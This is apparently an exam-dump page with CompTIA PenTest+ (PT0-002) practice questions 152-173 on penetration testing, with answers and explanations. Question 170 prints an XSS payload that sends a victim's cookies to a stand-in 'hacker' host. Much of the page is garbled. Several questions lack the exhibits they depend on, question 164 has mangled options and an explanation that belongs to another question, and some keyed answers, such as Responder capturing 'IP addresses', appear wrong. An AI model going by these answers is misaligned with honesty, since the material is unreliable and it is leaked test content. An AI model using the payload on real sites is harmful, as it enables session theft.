Get Prepared for Your PT0-002 Exam With Actual CompTIA Study Guide!
Pass Your Next PT0-002 Certification Exam Easily & Hassle Free
As the world becomes more dependent on technology, it's essential to ensure that it's secure from cybersecurity threats. Cybersecurity professionals are in high demand, as organizations need to protect their sensitive data from hackers and other cyber criminals. One way to demonstrate your expertise in the field is by earning the CompTIA PenTest+ certification, which assesses your skill in penetration testing, vulnerability assessment, and management.
The PT0-002 exam introduces candidates to the latest penetration testing methodologies, techniques, and tools that are essential in today's rapidly evolving cyber world. Successful completion of the exam demonstrates to potential employers that candidates have the skills and knowledge required to perform professional penetration testing activities and support an organization's cyber defense strategy.
NEW QUESTION # 152
A penetration tester who is working remotely is conducting a penetration test using a wireless connection.
Which of the following is the BEST way to provide confidentiality for the client while using this connection?
- A. Connect to the penetration testing company's VPS using a VPN.
- B. Use random MAC addresses on the penetration testing distribution.
- C. Configure wireless access to use a AAA server.
- D. Install a host-based firewall on the penetration testing distribution.
Answer: A
Explanation:
The best way to provide confidentiality for the client while using a wireless connection is to connect to the penetration testing company's VPS using a VPN. This will encrypt the traffic between the penetration tester and the VPS, and prevent any eavesdropping or interception by third parties. A VPN will also allow the penetration tester to access the client's network securely and bypass any firewall or network restrictions.
NEW QUESTION # 153
In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
- A. Perform a reverse DNS query and match to the service banner.
- B. Attempt to brute force authentication to the service.
- C. Check for an open relay configuration.
- D. Test for RFC-defined protocol conformance.
Answer: C
Explanation:
Explanation
SMTP is a protocol associated with mail servers. Therefore, for a penetration tester, an open relay configuration can be exploited to launch phishing attacks.
NEW QUESTION # 154
During a penetration tester found a web component with no authentication requirements. The web component also allows file uploads and is hosted on one of the target public web the following actions should the penetration tester perform next?
- A. Shutting down the web server until the assessment is finished
- B. Attempting to remediate the issue temporally.
- C. Notify the primary contact immediately.
- D. Continue the assessment and mark the finding as critical.
Answer: C
Explanation:
The penetration tester should notify the primary contact immediately, as this is a serious security issue that may compromise the confidentiality, integrity, and availability of the web server and its data. A web component with no authentication requirements and file upload capabilities can allow an attacker to upload malicious files, such as web shells, backdoors, or malware, to the web server and gain remote access or execute arbitrary commands on the web server. This can lead to further attacks, such as data theft, data corruption, privilege escalation, lateral movement, or denial of service. The penetration tester should inform the primary contact of the issue and its potential impact, and provide recommendations for remediation, such as implementing authentication mechanisms, restricting file upload types and sizes, or scanning uploaded files for malware. The other options are not appropriate actions for the penetration tester at this stage. Continuing the assessment and marking the finding as critical would delay the notification and remediation of the issue, which may increase the risk of exploitation by other attackers. Attempting to remediate the issue temporarily would interfere with the normal operation of the web server and may cause unintended consequences or damage. Shutting down the web server until the assessment is finished would disrupt the availability of the web server and its services, and may violate the scope or agreement of the assessment.
NEW QUESTION # 155
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen.
A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
- A. Malware injection
- B. Direct-to-origin
- C. Credential harvesting
- D. Cross-site scripting
Answer: C
NEW QUESTION # 156
The results of an Nmap scan are as follows:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 10.2.1.22 )
Host is up (0.0102s latency).
Not shown: 998 filtered ports
Port State Service
80/tcp open http
|_http-title: 80F 22% RH 1009.1MB (text/html)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
| <..>
Device type: bridge|general purpose
Running (JUST GUESSING) : QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches found for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)
- A. Active Directory domain controller
- B. Public-facing web server
- C. Network device
- D. Exposed RDP
- E. IoT/embedded device
- F. Print queue
Answer: B,E
Explanation:
Explanation
https://www.netscout.com/what-is-ddos/slowloris-attacks
From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.
NEW QUESTION # 157
A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?
- A. tcpdump
- B. hping3
- C. Nmap
- D. Scapy
Answer: D
Explanation:
Explanation
https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html
https://scapy.readthedocs.io/en/latest/introduction.html#about-scapy
NEW QUESTION # 158
A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
- A. nmap 192.168.1.1-5 -Ss22-25,80
- B. nmap 192.168.1.1-5 -PS22-25,80
- C. nmap 192.168.1.1-5 -PU22-25,80
- D. nmap 192.168.1.1-5 -PA22-25,80
Answer: B
NEW QUESTION # 159
A penetration tester obtained the following results after scanning a web server using the dirb utility:
...
GENERATED WORDS: 4612
----
Scanning URL: http://10.2.10.13/ ----
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 - FOUND: 4
Which of the following elements is MOST likely to contain useful information for the penetration tester?
- A. about
- B. home.html
- C. info
- D. index.html
Answer: A
Explanation:
Explanation
The element /about is most likely to contain useful information for the penetration tester, as it may reveal details about the website's owner, purpose, history, contact information, etc. This information can be used for further reconnaissance, social engineering, or identifying potential vulnerabilities.
NEW QUESTION # 160
A penetration tester conducted a discovery scan that generated the following:
Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?
- A. nmap -sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print S5}'
- B. nmap -oG list.txt 192.168.0.1-254 , sort
- C. nmap -o 192.168.0.1-254, cut -f 2
- D. nmap --open 192.168.0.1-254, uniq
Answer: A
Explanation:
Explanation
the NMAP flag (-sn) which is for host discovery and returns that kind of NMAP output. And the AWK command selects column 5 ({print $5}) which obviously carries the returned IP of the host in the NMAP output.
NEW QUESTION # 161
The following line-numbered Python code snippet is being used in reconnaissance:
Which of the following line numbers from the script MOST likely contributed to the script triggering a "probable port scan" alert in the organization's IDS?
- A. Line 01
- B. Line 02
- C. Line 08
- D. Line 07
Answer: A
NEW QUESTION # 162
During the assessment of a client's cloud and on-premises environments, a penetration tester was able to gain ownership of a storage object within the cloud environment using the provided on-premises credentials. Which of the following best describes why the tester was able to gain access?
- A. Key mismanagement between the environments
- B. laaS failure at the provider
- C. Container listed in the public domain
- D. Federation misconfiguration of the container
Answer: D
Explanation:
The best explanation for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials is federation misconfiguration of the container. Federation is a process that allows users to access multiple systems or services with a single set of credentials, by using a trusted third-party service that authenticates and authorizes the users. Federation can enable seamless integration between cloud and on-premises environments, but it can also introduce security risks if not configured properly. Federation misconfiguration of the container can allow an attacker to access the storage object with the on-premises credentials, if the container trusts the on-premises identity provider without verifying its identity or scope. The other options are not valid explanations for why the tester was able to gain access to the storage object within the cloud environment using the on-premises credentials. Key mismanagement between the environments is not relevant to this issue, as it refers to a different scenario involving encryption keys or access keys that are used to protect or access data or resources in cloud or on-premises environments. IaaS failure at the provider is not relevant to this issue, as it refers to a different scenario involving infrastructure as a service (IaaS), which is a cloud service model that provides virtualized computing resources over the internet. Container listed in the public domain is not relevant to this issue, as it refers to a different scenario involving container visibility or accessibility from public networks or users.
NEW QUESTION # 163
A penetration tester is enumerating shares and receives the following output:
Which of the following should the penetration tester enumerate next?
- A. notes
- B. print$
- C. dev
- D. home
Answer: C
Explanation:
The output displayed is typical of what one might see when using a tool like smbclient or enum4linux to list shared directories on a system that uses the SMB (Server Message Block) protocol. Here's a brief overview of the shared resources that have been found:
1. print$ - This share is generally used for printer drivers.
2. home - Could be a user's home directory, usually requires authentication.
3. dev - Suggests a development environment, possibly containing code, scripts, or tools that could be useful for further penetration.
4. notes - This has read and write permissions and could contain information such as user notes or documentation.
While all these shares could potentially provide valuable information, the dev share stands out for several reasons:
* Development Environment: As it seems to be a development share, it may contain scripts, tools, or code repositories which could be less secure than production environments and possibly contain sensitive information such as hardcoded credentials, configuration files, or backup files.
* Standard Names: Shares like print$ and home are common and are likely to be properly secured or to contain less sensitive information.
* Writable Share: The notes share is also interesting because it has read and write permissions, which could be exploited to upload malicious files or modify existing ones. However, the potential for finding exploitable material or sensitive information might be higher with the dev share.
In penetration testing, the goal is to find the path of least resistance that provides the highest potential for deeper access or sensitive information discovery. The dev share represents a target that could yield such information or further avenues for exploitation, making it the next logical step for enumeration.
NEW QUESTION # 164
A penetration tester wrote the following Bash script to brute force a local service password:
..ting as expected. Which of the following changes should the penetration tester make to get the script to work?
- A. .
{ echo "The correct password is $p" && break )
With - B. ..e
cho "The correct password is $p" && break)
ho "The correct password is $p" I| break - C. .e
cho "The correct password is $p" && break)
o "The correct password is $p" I break - D. e
cho "The correct password is Sp" && break)
echo "The correct password is $p" && break)
Answer: C
Explanation:
I| ( echo "The correct password is $p" && break )
Explanation:
CeWL is a tool that can be used to crawl a website and build a wordlist using the data recovered to crack the password on the website. CeWL stands for Custom Word List generator, and it is a Ruby script that spiders a given website up to a specified depth and returns a list of words that can be used for password cracking or other purposes. CeWL can also generate wordlists based on metadata, email addresses, author names, or external links found on the website. CeWL can help a penetration tester create customized wordlists that are tailored to the target website and increase the chances of success for password cracking attacks. DirBuster is a tool that can be used to brute force directories and files names on web servers. w3af is a tool that can be used to scan web applications for vulnerabilities and exploits. Patator is a tool that can be used to perform brute force attacks against various protocols and services.
NEW QUESTION # 165
A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.
Which of the following changes should the tester apply to make the script work as intended?
- A. Remove line 6.
- B. Remove lines 3, 5, and 6.
- C. Move all the lines below line 7 to the top of the script.
- D. Change line 2 to $ip= €10.192.168.254€;
Answer: B
Explanation:
https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html
Example script:
#!/usr/bin/perl
$ip=$argv[1];
attack($ip);
sub attack {
print("x");
}
NEW QUESTION # 166
A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important dat a. Which of the following was captured by the testing team?
- A. IP addresses
- B. User hashes sent over SMB
- C. Encrypted file transfers
- D. Multiple handshakes
Answer: A
NEW QUESTION # 167
Deconfliction is necessary when the penetration test:
- A. determines that proprietary information is being stored in cleartext.
- B. proceeds in parallel with a criminal digital forensic investigation.
- C. occurs during the monthly vulnerability scanning.
- D. uncovers indicators of prior compromise over the course of the assessment.
Answer: D
Explanation:
Explanation
This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.
NEW QUESTION # 168
A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?
- A. Nmap
- B. Fuzzer
- C. tcpdump
- D. Snort
- E. Netstat
Answer: A
NEW QUESTION # 169
Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?
- A. DNSSEC
- B. FTPS
- C. AS2
- D. S/MIME
Answer: D
Explanation:
Explanation
S/MIME stands for Secure/Multipurpose Internet Mail Extensions and is a standard for encrypting and signing email messages. It uses public key cryptography to ensure the confidentiality, integrity, and authenticity of email communications. FTPS is a protocol for transferring files securely over SSL/TLS, but it is not used for emailing. DNSSEC is a protocol for securing DNS records, but it does not protect email content. AS2 is a protocol for exchanging business documents over HTTP/S, but it is not used for emailing.
NEW QUESTION # 170
Given the following code:<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Input validation
- B. Parameterized queries
- C. Session tokens
- D. Base64 encoding
- E. Web-application firewall
- F. Output encoding
Answer: A,F
Explanation:
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
NEW QUESTION # 171
A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:
Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)
- A. NTP
- B. SNMP
- C. Telnet
- D. SMTP
- E. HTTP
- F. DNS
Answer: E,F
NEW QUESTION # 172
After gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results:
The tester then runs the following command from the previous exploited system, which fails:
Which of the following explains the reason why the command failed?
- A. PowerShell requires administrative privilege.
- B. An account for RDP does not exist on the server.
- C. The tester input the incorrect IP address.
- D. The command requires the -port 135 option.
Answer: B
NEW QUESTION # 173
......
For more info about the CompTIA PT0-002 Certification Exam hit the reference link given here
Official link to the CompTIA PT0-002 Certification Exam
Ace PT0-002 Certification with 360 Actual Questions: https://www.actualpdf.com/PT0-002_exam-dumps.html
Free CompTIA PT0-002 Exam Question Practice Exams: https://drive.google.com/open?id=1FkIl7XtZ5ZCEhancwgO6n59qJRxbK4lc
